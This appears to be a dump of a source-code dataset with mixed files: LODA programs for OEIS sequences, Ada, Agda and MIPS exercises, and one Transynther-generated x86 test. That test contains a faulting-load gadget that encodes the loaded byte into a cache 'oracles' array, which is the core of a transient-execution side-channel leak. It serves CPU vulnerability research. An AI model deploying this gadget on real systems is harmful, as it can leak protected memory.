max_stars_repo_path
stringlengths 4
261
| max_stars_repo_name
stringlengths 6
106
| max_stars_count
int64 0
38.8k
| id
stringlengths 1
6
| text
stringlengths 7
1.05M
|
---|---|---|---|---|
programs/oeis/132/A132458.asm
|
neoneye/loda
| 22 |
94709
|
; A132458: Let df(n,k) = Product_{i=0..k-1} (n-i) be the descending factorial and let P(m,n) = df(n-1,m-1)^2*(2*n-m)/((m-1)!*m!). Sequence gives P(4,n).
; 0,0,0,1,24,200,1000,3675,10976,28224,64800,136125,266200,490776,861224,1449175,2352000,3699200,5659776,8450649,12346200,17689000,24901800,34500851,47110624,63480000,84500000,111223125,144884376,186924024,239012200,303075375,381324800,476286976,590836224,728229425,892143000,1086712200,1316572776,1586905099,1903480800,2272712000,2701703200,3198305901,3771176024,4429834200,5184729000,6047303175,7030062976,8146650624,9411920000,10842015625,12454455000,14268214376,16303818024,18583431075,21130956000,23972132800,27134642976,30648217349,34544747800,38858403000,43625748200,48885869151,54680500224,61054156800,68054272000,75731337825,84139050776,93334462024,103378132200,114334290875,126271000800,139260326976,153378510624,168706148125,185328375000,203335055000,222820974376,243886041399,266635491200,291180096000,317636380800,346126844601,376780187224,409731541800,445122713000,483102421075,523826551776,567458412224,614168992800,664137235125,717550306200,774603878776,835502418024,900459474575,969697984000,1043450572800,1121959870976,1205478831249
mov $2,$0
sub $0,1
bin $2,3
mul $0,$2
mul $0,$2
div $0,2
|
programs/oeis/001/A001794.asm
|
jmorken/loda
| 1 |
168862
|
; A001794: Negated coefficients of Chebyshev T polynomials: [x^n](-T(n+6, x)), n >= 0.
; 1,7,32,120,400,1232,3584,9984,26880,70400,180224,452608,1118208,2723840,6553600,15597568,36765696,85917696,199229440,458752000,1049624576,2387607552,5402263552,12163481600,27262976000,60850962432,135291469824,299708186624,661693399040,1456262348800,3195455668224,6992206757888,15260018802688,33221572034560,72155450572800,156371169312768,338168545017856,729869562413056,1572301627719680,3380998255411200,7257876254949376
mov $1,$0
add $1,2
mov $2,$0
mov $4,$0
add $4,2
lpb $0
sub $0,1
mul $1,2
add $2,$4
add $2,3
add $5,1
lpe
mov $3,6
add $3,$5
add $3,$2
mul $3,2
mul $1,$3
sub $1,24
div $1,24
add $1,1
|
oeis/194/A194459.asm
|
neoneye/loda-programs
| 11 |
170688
|
; A194459: Number of entries in the n-th row of Pascal's triangle not divisible by 5.
; Submitted by <NAME>
; 1,2,3,4,5,2,4,6,8,10,3,6,9,12,15,4,8,12,16,20,5,10,15,20,25,2,4,6,8,10,4,8,12,16,20,6,12,18,24,30,8,16,24,32,40,10,20,30,40,50,3,6,9,12,15,6,12,18,24,30,9,18,27,36,45,12,24,36,48,60,15,30,45,60,75,4,8,12,16,20,8,16,24,32,40,12,24,36,48,60,16,32,48,64,80,20,40,60,80,100
mov $3,1
lpb $0
mov $2,$0
div $0,5
mod $2,5
mul $2,$3
add $3,$2
lpe
mov $0,$3
|
Ada/DataStructures/AVLTree/main_old.adb
|
egustafson/sandbox
| 2 |
8543
|
<filename>Ada/DataStructures/AVLTree/main_old.adb
with Generic_AVL_Tree;
with Ada.Text_IO, Ada.Integer_Text_IO;
use Ada.Text_IO, Ada.Integer_Text_IO;
procedure Main is
procedure Integer_Put( Item: Integer ) is
begin
Put( Item, 2 );
end Integer_Put;
package Int_AVL_Tree is
new Generic_AVL_Tree( Element_Type => Integer,
Less_Than => "<",
Greater_Than => ">",
Put => Integer_Put );
List : Int_AVL_Tree.T;
Num_Elements : constant Integer := 20;
Init_Values : array ( Integer range <> ) of Integer :=
( 20, 10, 40, 30, 50, 35, 25, 55 );
-- ( 10, 5, 15, 3, 7, 12, 18, 2, 1, 4 );
-- ( 10, 5, 15, 3, 7, 12, 18, 20, 21, 17 );
-- ( 10, 5, 15, 3, 7, 12, 18, 2, 1, 4, 6, 8, 9, 11, 13, 14, 16, 17, 20, 19 );
begin
-- for I in Init_Values'range loop
-- Int_AVL_Tree.Insert( List, Init_Values(I) );
-- end loop;
for I in 1 .. 2**22 loop
Int_Avl_Tree.Insert( List, I );
end loop;
-- for I in 1 .. Num_Elements loop
-- if I mod 3 = 0 then
-- Int_AVL_Tree.Remove( List, I );
-- end if;
-- end loop;
-- Int_AVL_Tree.Debug_Print( List );
end Main;
|
data/pokemon/base_stats/bayleef.asm
|
AtmaBuster/pokeplat-gen2
| 6 |
26579
|
db 0 ; species ID placeholder
db 60, 62, 80, 60, 63, 80
; hp atk def spd sat sdf
db GRASS, GRASS ; type
db 45 ; catch rate
db 141 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F12_5 ; gender ratio
db 20 ; step cycles to hatch
INCBIN "gfx/pokemon/bayleef/front.dimensions"
db GROWTH_MEDIUM_SLOW ; growth rate
dn EGG_MONSTER, EGG_PLANT ; egg groups
db 70 ; happiness
; tm/hm learnset
tmhm TOXIC, BULLET_SEED, HIDDEN_POWER, SUNNY_DAY, LIGHT_SCREEN, PROTECT, GIGA_DRAIN, SAFEGUARD, FRUSTRATION, SOLARBEAM, IRON_TAIL, RETURN, DOUBLE_TEAM, REFLECT, FACADE, SECRET_POWER, REST, ATTRACT, ENERGY_BALL, ENDURE, FLASH, SWORDS_DANCE, CAPTIVATE, SLEEP_TALK, NATURAL_GIFT, GRASS_KNOT, SWAGGER, SUBSTITUTE, CUT, STRENGTH, ROCK_SMASH, ANCIENTPOWER, FURY_CUTTER, MUD_SLAP, SEED_BOMB, SNORE, SYNTHESIS
; end
|
src/gstreamer-rtsp-transport.adb
|
persan/A-gst
| 1 |
1934
|
<filename>src/gstreamer-rtsp-transport.adb
pragma Ada_2012;
package body GStreamer.Rtsp.Transport is
--------------
-- Get_Type --
--------------
function Get_Type return GLIB.GType is
begin
-- Generated stub: replace with real body!
pragma Compile_Time_Warning (Standard.True, "Get_Type unimplemented");
return raise Program_Error with "Unimplemented function Get_Type";
end Get_Type;
-----------
-- Parse --
-----------
procedure Parse
(Str : String;
Transport : out GstRTSPTransport_Record)
is
begin
-- Generated stub: replace with real body!
pragma Compile_Time_Warning (Standard.True, "Parse unimplemented");
raise Program_Error with "Unimplemented procedure Parse";
end Parse;
-------------
-- As_Text --
-------------
function As_Text (Transport : GstRTSPTransport) return String is
begin
-- Generated stub: replace with real body!
pragma Compile_Time_Warning (Standard.True, "As_Text unimplemented");
return raise Program_Error with "Unimplemented function As_Text";
end As_Text;
--------------
-- Get_Mime --
--------------
function Get_Mime (Trans : GstRTSPTransMode) return String is
begin
-- Generated stub: replace with real body!
pragma Compile_Time_Warning (Standard.True, "Get_Mime unimplemented");
return raise Program_Error with "Unimplemented function Get_Mime";
end Get_Mime;
-----------------
-- Get_Manager --
-----------------
function Get_Manager
(Trans : GstRTSPTransMode;
Manager : System.Address;
Option : GLIB.Guint)
return GstRTSPResult
is
begin
-- Generated stub: replace with real body!
pragma Compile_Time_Warning (Standard.True, "Get_Manager unimplemented");
return raise Program_Error with "Unimplemented function Get_Manager";
end Get_Manager;
----------
-- Free --
----------
function Free (Transport : access GstRTSPTransport) return GstRTSPResult is
begin
-- Generated stub: replace with real body!
pragma Compile_Time_Warning (Standard.True, "Free unimplemented");
return raise Program_Error with "Unimplemented function Free";
end Free;
-------------
-- Gst_New --
-------------
function Gst_New (Transport : System.Address) return GstRTSPResult is
begin
-- Generated stub: replace with real body!
pragma Compile_Time_Warning (Standard.True, "Gst_New unimplemented");
return raise Program_Error with "Unimplemented function Gst_New";
end Gst_New;
----------
-- Init --
----------
function Init (Transport : access GstRTSPTransport) return GstRTSPResult is
begin
-- Generated stub: replace with real body!
pragma Compile_Time_Warning (Standard.True, "Init unimplemented");
return raise Program_Error with "Unimplemented function Init";
end Init;
----------------
-- Initialize --
----------------
procedure Initialize (Object : in out GstRTSPTransport_Record) is
begin
-- Generated stub: replace with real body!
pragma Compile_Time_Warning (Standard.True, "Initialize unimplemented");
raise Program_Error with "Unimplemented procedure Initialize";
end Initialize;
--------------
-- Finalize --
--------------
procedure Finalize (Object : in out GstRTSPTransport_Record) is
begin
-- Generated stub: replace with real body!
pragma Compile_Time_Warning (Standard.True, "Finalize unimplemented");
raise Program_Error with "Unimplemented procedure Finalize";
end Finalize;
end GStreamer.Rtsp.Transport;
|
oeis/109/A109116.asm
|
neoneye/loda-programs
| 11 |
16322
|
; A109116: a(n) = (n+1)^3*(n+2)^2*(n+5).
; Submitted by <NAME>
; 20,432,3024,12800,40500,105840,241472,497664,947700,1694000,2874960,4672512,7320404,11113200,16416000,23674880,33428052,46317744,63102800,84672000,112058100,146452592,189221184,241920000,306312500,384387120,478375632,590772224,724353300,882198000,1067709440,1284636672,1537097364,1829601200,2167074000,2554882560,2998860212,3505333104,4081147200,4733696000,5470948980,6301480752,7234500944,8279884800,9448204500,10750761200,12199617792,13807632384,15588492500,17556750000,19727856720,22118200832
mov $1,$0
add $0,1
add $1,4
mul $1,$0
pow $1,2
div $1,4
add $1,$0
mul $1,$0
mul $1,$0
mov $0,$1
mul $0,4
|
src/gnat/prj-ext.ads
|
My-Colaborations/dynamo
| 15 |
9457
|
<filename>src/gnat/prj-ext.ads
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- P R J . E X T --
-- --
-- S p e c --
-- --
-- Copyright (C) 2000-2013, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING3. If not, go to --
-- http://www.gnu.org/licenses for a complete copy of the license. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- Subprograms to set, get and cache external references, to be used as
-- External functions in project files.
with GNAT.Dynamic_HTables;
package Prj.Ext is
-------------------------
-- External References --
-------------------------
-- External references influence the way a project tree is processed (in
-- particular they provide the values for the typed string variables that
-- are then used in case constructions).
-- External references are project-tree specific, so that when multiple
-- trees are loaded in parallel we can have different scenarios (or even
-- load the same tree twice and see different views of it).
type External_References is private;
No_External_Refs : constant External_References;
procedure Initialize
(Self : out External_References;
Copy_From : External_References := No_External_Refs);
-- Initialize Self, and copy all values from Copy_From if needed.
-- This has no effect if Self was already initialized.
procedure Free (Self : in out External_References);
-- Free memory used by Self
type External_Source is
(From_Command_Line,
From_Environment,
From_External_Attribute);
-- Indicates where was the value of an external reference defined. They are
-- prioritized in that order, so that a user can always use the command
-- line to override a value coming from his environment, or an environment
-- variable to override a value defined in an aggregate project through the
-- "for External()..." attribute.
procedure Add
(Self : External_References;
External_Name : String;
Value : String;
Source : External_Source := External_Source'First;
Silent : Boolean := False);
-- Add an external reference (or modify an existing one). No overriding is
-- done if the Source's priority is less than the one used to previously
-- set the value of the variable. The default for Source is such that
-- overriding always occurs. When Silent is True, nothing is output even
-- with non default verbosity.
function Value_Of
(Self : External_References;
External_Name : Name_Id;
With_Default : Name_Id := No_Name)
return Name_Id;
-- Get the value of an external reference, and cache it for future uses
function Check
(Self : External_References;
Declaration : String) return Boolean;
-- Check that an external declaration <external>=<value> is correct.
-- If it is correct, the external reference is Added.
procedure Reset (Self : External_References);
-- Clear the internal data structure that stores the external references
-- and free any allocated memory.
private
-- Use a Static_HTable, rather than a Simple_HTable
-- The issue is that we need to be able to copy the contents of the table
-- (in Initialize), but this isn't doable for Simple_HTable for which
-- iterators do not return the key.
type Name_To_Name;
type Name_To_Name_Ptr is access all Name_To_Name;
type Name_To_Name is record
Key : Name_Id;
Value : Name_Id;
Source : External_Source;
Next : Name_To_Name_Ptr;
end record;
procedure Set_Next (E : Name_To_Name_Ptr; Next : Name_To_Name_Ptr);
function Next (E : Name_To_Name_Ptr) return Name_To_Name_Ptr;
function Get_Key (E : Name_To_Name_Ptr) return Name_Id;
package Name_To_Name_HTable is new GNAT.Dynamic_HTables.Static_HTable
(Header_Num => Header_Num,
Element => Name_To_Name,
Elmt_Ptr => Name_To_Name_Ptr,
Null_Ptr => null,
Set_Next => Set_Next,
Next => Next,
Key => Name_Id,
Get_Key => Get_Key,
Hash => Hash,
Equal => "=");
-- General type for htables associating name_id to name_id. This is in
-- particular used to store the values of external references.
type Instance_Access is access all Name_To_Name_HTable.Instance;
type External_References is record
Refs : Instance_Access;
-- External references are stored in this hash table (and manipulated
-- through subprogrames in prj-ext.ads). External references are
-- project-tree specific so that one can load the same tree twice but
-- have two views of it, for instance.
end record;
No_External_Refs : constant External_References := (Refs => null);
end Prj.Ext;
|
warming_up_two.asm
|
MrJacek/ask
| 0 |
172231
|
.data
buf:
.space 100
.text
.globl main
main:
# pobranie string-a z konsoli
la $a0, buf # parametr funckji systemowej - bufor w którym będzie zapisany string
li $a1, 100 # dułgośc maksymalnego stringa który można pobrać z konsoli
li $v0, 8 # wybranie funckji systemowej pobrania wejscia konsoli
syscall # wywołanie funkcji wybranej powyżej
la $t0, buf # src - zapisanie do rejestru adresu buffor-a
move $t1,$t0 #dst - skopiowanie do drugiego rejestru adresu buffor-a
nxtchr:
lbu $t2 ,($t0) # pobranie pierwszego znaku z buffora i zapisanie go do rejestru
addiu $t0,$t0,1 # zwiększenie rejestru o jeden (wskazanie na kolejny znak w stringu)
bltu $t2,' ', fin # sprawdzenie czy to koniec string-u SPACJA ma większą wartość niż koniec stringu
beq $t2,' ',nxtchr # sprawdzenie czy znak to SPACJA jeśli nie..
sb $t2,($t1) # nad pisujemy w bufforze znak wskazywany przez 'wskaźnik' $t2 znakiem pod 'wskaźnikiem' $t1
addiu $t1, $t1, 1 # zwiększamy wskaźnik na nową tablice żeby wskazywał na nowy element
b nxtchr # pętla
fin:
sb $zero, ($t1) # ustawienie zera na koniec nowego stringa
la $a0, buf # przygotowanie nowego stringa
li $v0, 4 # wybranie funkcji systemowej
syscall # wywołanie
li $v0, 10 # wybranie zamknięcia programu
syscall
|
src/sym2.agda
|
shinji-kono/Galois
| 1 |
5224
|
open import Level hiding ( suc ; zero )
open import Algebra
module sym2 where
open import Symmetric
open import Data.Unit
open import Function.Inverse as Inverse using (_↔_; Inverse; _InverseOf_)
open import Function
open import Data.Nat hiding (_⊔_) -- using (ℕ; suc; zero)
open import Relation.Nullary
open import Data.Empty
open import Data.Product
open import Gutil
open import Putil
open import FLutil
open import Solvable using (solvable)
open import Relation.Binary.PropositionalEquality hiding ( [_] )
open import Data.Fin
open import Data.Fin.Permutation
sym2solvable : solvable (Symmetric 2)
solvable.dervied-length sym2solvable = 1
solvable.end sym2solvable x d = solved x d where
open import Data.List using ( List ; [] ; _∷_ )
open Solvable (Symmetric 2)
-- open Group (Symmetric 2) using (_⁻¹)
p0 : FL→perm ((# 0) :: ((# 0 ) :: f0)) =p= pid
p0 = pleq _ _ refl
p0r : perm→FL pid ≡ ((# 0) :: ((# 0 ) :: f0))
p0r = refl
p1 : FL→perm ((# 1) :: ((# 0 ) :: f0)) =p= pswap pid
p1 = pleq _ _ refl
p1r : perm→FL (pswap pid) ≡ ((# 1) :: ((# 0 ) :: f0))
p1r = refl
-- FL→iso : (fl : FL 2 ) → perm→FL ( FL→perm fl ) ≡ fl
-- FL→iso (zero :: (zero :: f0)) = refl
-- FL→iso ((suc zero) :: (zero :: f0)) = refl
open _=p=_
open ≡-Reasoning
sym2lem0 : ( g h : Permutation 2 2 ) → (q : Fin 2) → ([ g , h ] ⟨$⟩ʳ q) ≡ (pid ⟨$⟩ʳ q)
sym2lem0 g h q with perm→FL g | perm→FL h | inspect perm→FL g | inspect perm→FL h
sym2lem0 g h q | zero :: (zero :: f0) | _ | record { eq = g=00} | record { eq = h=00} = begin
[ g , h ] ⟨$⟩ʳ q
≡⟨⟩
h ⟨$⟩ʳ (g ⟨$⟩ʳ ( h ⟨$⟩ˡ ( g ⟨$⟩ˡ q )))
≡⟨ cong (λ k → h ⟨$⟩ʳ (g ⟨$⟩ʳ ( h ⟨$⟩ˡ k))) ((peqˡ sym2lem1 _ )) ⟩
h ⟨$⟩ʳ (g ⟨$⟩ʳ ( h ⟨$⟩ˡ ( pid ⟨$⟩ˡ q )))
≡⟨ cong (λ k → h ⟨$⟩ʳ k ) (peq sym2lem1 _ ) ⟩
h ⟨$⟩ʳ (pid ⟨$⟩ʳ ( h ⟨$⟩ˡ ( pid ⟨$⟩ˡ q )))
≡⟨⟩
[ pid , h ] ⟨$⟩ʳ q
≡⟨ peq (idcomtl h) q ⟩
q
∎ where
sym2lem1 : g =p= pid
sym2lem1 = FL-inject g=00
sym2lem0 g h q | _ | zero :: (zero :: f0) | record { eq = g=00} | record { eq = h=00} = begin
[ g , h ] ⟨$⟩ʳ q
≡⟨⟩
h ⟨$⟩ʳ (g ⟨$⟩ʳ ( h ⟨$⟩ˡ ( g ⟨$⟩ˡ q )))
≡⟨ peq sym2lem2 _ ⟩
pid ⟨$⟩ʳ (g ⟨$⟩ʳ ( h ⟨$⟩ˡ ( g ⟨$⟩ˡ q )))
≡⟨ cong (λ k → pid ⟨$⟩ʳ (g ⟨$⟩ʳ k)) (peqˡ sym2lem2 _ ) ⟩
pid ⟨$⟩ʳ (g ⟨$⟩ʳ ( pid ⟨$⟩ˡ ( g ⟨$⟩ˡ q )))
≡⟨⟩
[ g , pid ] ⟨$⟩ʳ q
≡⟨ peq (idcomtr g) q ⟩
q
∎ where
sym2lem2 : h =p= pid
sym2lem2 = FL-inject h=00
sym2lem0 g h q | suc zero :: (zero :: f0) | suc zero :: (zero :: f0) | record { eq = g=00} | record { eq = h=00}= begin
[ g , h ] ⟨$⟩ʳ q
≡⟨⟩
h ⟨$⟩ʳ (g ⟨$⟩ʳ ( h ⟨$⟩ˡ ( g ⟨$⟩ˡ q )))
≡⟨ peq (psym g=h ) _ ⟩
g ⟨$⟩ʳ (g ⟨$⟩ʳ ( h ⟨$⟩ˡ ( g ⟨$⟩ˡ q )))
≡⟨ cong (λ k → g ⟨$⟩ʳ (g ⟨$⟩ʳ k) ) (peqˡ (psym g=h) _) ⟩
g ⟨$⟩ʳ (g ⟨$⟩ʳ ( g ⟨$⟩ˡ ( g ⟨$⟩ˡ q )))
≡⟨ cong (λ k → g ⟨$⟩ʳ k) ( inverseʳ g ) ⟩
g ⟨$⟩ʳ ( g ⟨$⟩ˡ q )
≡⟨ inverseʳ g ⟩
q
∎ where
g=h : g =p= h
g=h = FL-inject (trans g=00 (sym h=00))
solved : (x : Permutation 2 2) → Commutator (λ x₁ → Lift (Level.suc Level.zero) ⊤) x → x =p= pid
solved x (comm {g} {h} _ _) = record { peq = sym2lem0 g h }
solved x (ccong {f} {g} (record {peq = f=g}) d) with solved f d
... | record { peq = f=e } = record { peq = λ q → cc q } where
cc : ( q : Fin 2 ) → x ⟨$⟩ʳ q ≡ q
cc q = begin
x ⟨$⟩ʳ q
≡⟨ sym (f=g q) ⟩
f ⟨$⟩ʳ q
≡⟨ f=e q ⟩
q
∎ where open ≡-Reasoning
|
oeis/016/A016985.asm
|
neoneye/loda-programs
| 11 |
5986
|
; A016985: a(n) = (7n)^5.
; 0,16807,537824,4084101,17210368,52521875,130691232,282475249,550731776,992436543,1680700000,2706784157,4182119424,6240321451,9039207968,12762815625,17623416832,23863536599,31757969376,41615795893,53782400000,68641485507,86617093024,108175616801,133827821568,164130859375,199690286432,241162079949,289254654976,344730881243,408410100000,481170140857,563949338624,657748550151,763633171168,882735153125,1016255020032,1165463885299,1331705468576,1516398112593,1721036800000,1947195170207,2196527536224
pow $0,5
mul $0,16807
|
Transynther/x86/_processed/AVXALIGN/_st_sm_/i7-7700_9_0xca_notsx.log_21829_690.asm
|
ljhsiun2/medusa
| 9 |
7119
|
<reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0xa900, %rsi
nop
nop
and %rdx, %rdx
movb $0x61, (%rsi)
nop
nop
xor $15348, %r12
lea addresses_WT_ht+0xe700, %rcx
inc %rdi
movw $0x6162, (%rcx)
nop
nop
nop
xor $40468, %r12
lea addresses_normal_ht+0x6100, %rsi
lea addresses_WT_ht+0x11034, %rdi
nop
add %rax, %rax
mov $39, %rcx
rep movsb
nop
nop
nop
nop
nop
dec %rdx
lea addresses_WC_ht+0x15214, %r12
nop
nop
sub $28812, %r10
vmovups (%r12), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %rcx
nop
nop
inc %rdi
lea addresses_normal_ht+0x1bea5, %rsi
lea addresses_UC_ht+0x1a760, %rdi
clflush (%rsi)
and $14438, %rbp
mov $38, %rcx
rep movsq
nop
sub %rbp, %rbp
lea addresses_WT_ht+0xfe78, %rax
nop
nop
nop
inc %r12
vmovups (%rax), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %rdx
nop
mfence
lea addresses_D_ht+0x17280, %rsi
lea addresses_WC_ht+0x10980, %rdi
nop
nop
nop
xor $40860, %r12
mov $49, %rcx
rep movsq
nop
add $18044, %rdx
lea addresses_normal_ht+0x6900, %rdx
nop
nop
nop
add %r10, %r10
mov (%rdx), %rdi
nop
nop
nop
sub %rdx, %rdx
lea addresses_UC_ht+0x1eb50, %rdi
clflush (%rdi)
nop
add $12449, %rax
mov (%rdi), %r12d
nop
nop
nop
nop
nop
xor %rdx, %rdx
lea addresses_normal_ht+0x18cc0, %rax
nop
nop
nop
nop
xor $374, %rdi
mov $0x6162636465666768, %rdx
movq %rdx, (%rax)
nop
nop
nop
nop
nop
xor %rdi, %rdi
lea addresses_normal_ht+0x1b5f0, %rsi
lea addresses_WC_ht+0x17900, %rdi
nop
inc %rbp
mov $84, %rcx
rep movsb
nop
nop
nop
nop
nop
cmp $54527, %rdi
lea addresses_D_ht+0x15900, %rax
nop
nop
nop
add $13927, %rcx
movb $0x61, (%rax)
nop
nop
nop
nop
nop
and $40380, %rsi
lea addresses_D_ht+0x15050, %r12
nop
nop
nop
nop
nop
cmp %rdx, %rdx
mov $0x6162636465666768, %rax
movq %rax, %xmm0
movups %xmm0, (%r12)
nop
nop
nop
nop
and $22542, %rbp
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r8
push %r9
push %rax
push %rbp
push %rcx
// Load
lea addresses_US+0x1c47c, %rbp
cmp %r8, %r8
mov (%rbp), %r9
nop
xor %rax, %rax
// Store
lea addresses_US+0x13900, %rcx
nop
xor %r12, %r12
mov $0x5152535455565758, %rbp
movq %rbp, (%rcx)
nop
nop
nop
nop
cmp %rcx, %rcx
// Store
lea addresses_D+0x17dc0, %rax
nop
nop
nop
nop
and %rbp, %rbp
movw $0x5152, (%rax)
nop
inc %rbp
// Store
lea addresses_normal+0x1c500, %r10
nop
nop
cmp $21030, %r8
movl $0x51525354, (%r10)
nop
nop
nop
xor %r10, %r10
// Load
lea addresses_A+0x12900, %r12
nop
nop
nop
sub $31946, %rcx
mov (%r12), %rax
nop
nop
add %r8, %r8
// Load
lea addresses_normal+0x8500, %rax
add $39554, %r9
mov (%rax), %ecx
nop
and $58687, %rcx
// Load
lea addresses_WC+0x1334a, %rbp
nop
dec %r8
movb (%rbp), %al
nop
nop
xor $9956, %r9
// Store
lea addresses_PSE+0xb700, %r12
nop
nop
xor %rbp, %rbp
mov $0x5152535455565758, %rax
movq %rax, %xmm4
movups %xmm4, (%r12)
nop
nop
nop
cmp %r8, %r8
// Store
lea addresses_normal+0x1d500, %rcx
nop
nop
nop
nop
and %r10, %r10
mov $0x5152535455565758, %r9
movq %r9, (%rcx)
nop
nop
nop
nop
nop
and $64853, %r10
// Faulty Load
lea addresses_US+0x13900, %r8
nop
nop
and $42111, %rbp
mov (%r8), %r9d
lea oracles, %rcx
and $0xff, %r9
shlq $12, %r9
mov (%rcx,%r9,1), %r9
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r8
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 2, 'same': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': True, 'type': 'addresses_US'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 8, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 11, 'same': True, 'type': 'addresses_A'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 10, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1, 'same': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 7, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 10, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_US'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4, 'same': True, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 